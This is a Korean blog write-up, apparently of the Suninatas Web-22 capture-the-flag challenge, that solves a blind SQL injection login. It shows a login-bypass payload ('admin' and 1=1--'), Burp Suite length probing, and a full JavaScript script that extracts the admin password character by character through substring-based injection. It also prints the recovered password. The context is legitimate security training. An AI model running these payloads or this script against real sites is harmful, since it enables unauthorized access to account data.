
로그인창이 떠있다. 밑에 친절하게 Blind SQL Injection이라고 나와 있고 또 친절하게 밑에 필터링되는 키워드가 나열되어 있다.
Blind SQL injection 이란?
- 공격자가 참/거짓 형태의 반응으로 데이터베이스 정보를 추출하는 것입니다.
소스코드를 보았다.

밑에는 Hint에 guest/guest 와 admin pw를 찾으라는 문구가 있었다.
일단 소스코드에 있는 guest/guest로 로그인을 시도해 보았다.

로그인이 되었다 OK guest 라고 문구가 떴다. 혹시나 해서 admin/admin으로 로그인해 보았다.

역시나 false로 입구컷 당하였다. 잠시 생각하였고 필터링을 피해서 쓸 수 있는 문구를 작성해 보았다.
guest' and 1=1--

OK guest 문구가 떳다? admin으로 시도해 보았다.

OK admin 문구가 떳다. 성공인가? 해서 flag값을 찾아봤지만 아무리 봐도 없었다... ㅜ.ㅜ
문득 힌트에 있는 admin pw를 구해라라는 문구가 생각이 났다 아 혹시 이걸 통해서 pw를 알아내라는 것인가? 했다
그래서 어떻게 할 수 있을까 하다가 len()함수를 써서 비밀번호가 길이가 무엇인지부터 알아보기로 했다. 일단 burp suite 도구에 프락시를 켜서 시도해 보았다.

Response 문구에 admin키워드 검색을 하였다 만약 로그인이 성공이 된다면 OK admin 문구가 뜰 테니 말이다.

길이를 하나씩 늘려보기 시작하였다.
1부터 ~ ? 까지
그러던 도중 10에서 admin이라는 문구가 2개가 늘린 게 보였다.

문구가 떴다 OK admin 길이가 10 자릿수인걸 파악했다 혹시나 해서 11까지 늘려봤지만 실패였다. 자릿수가 10자리인걸 알았고 이제 이것을 추출해내야 하는데 자바스크립트로 짠 코드를 활용해 보았다. (substring 함수 사용)
const url = "http://suninatas.com/challenge/web22/web22.asp";
const USER = "admin";
let binar = [];
let index = 0;
// fetch POST 요청 함수
async function post(url, params) {
const formData = new URLSearchParams();
for (const key in params) formData.append(key, params[key]);
const response = await fetch(url, {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: formData
});
return response.text();
}
(async () => {
for (let len = 1; len <= 10; len++) {
for (let x = 32; x < 127; x++) {
const value2 =
"admin' and substring(pw," +
len +
",1) = '" +
String.fromCharCode(x) +
"'--";
const params2 = { id: value2, pw: "1" };
const responseText = await post(url, params2);
if (responseText.includes("OK")) {
binar[index] = String.fromCharCode(x);
console.log(String.fromCharCode(x));
index++;
// 비밀번호 10자리 완성
if (index === 10) {
console.log(USER + "'s password : " + binar.join(""));
}
break;
}
}
}
})();
시도한 결과

admin의 비밀번호는 N1c3Bilnl이 였다 로그인을 시도하면 flag값이 나오겠지? 하고 기대하면서 로그인을 시도해 보았다.

? flag 값이 안 나온다 혹시 몰라 소스코드에 봤는데 나오지 않았다... 머지??

10분 고민하고 순간 떠올랐다. 아 혹시 이게 flag값이라는 건가? 하고 그래서 Auth에 넣어봤더니

축하한다는 문구와 함께 문제를 풀어낼 수 있었다.

'CTF > 써니나타스' 카테고리의 다른 글
| 써니나타스[Web-23 문제풀이] (0) | 2025.12.04 |
|---|---|
| 써니나타스[Web-8 문제풀이] (0) | 2025.11.19 |
| 써니나타스[Web-7 문제풀이] (0) | 2025.11.17 |
| 써니나타스 [Web-6 문제풀이] (0) | 2025.11.14 |
| 써니나타스 [Web-5 문제풀이] (0) | 2025.11.12 |
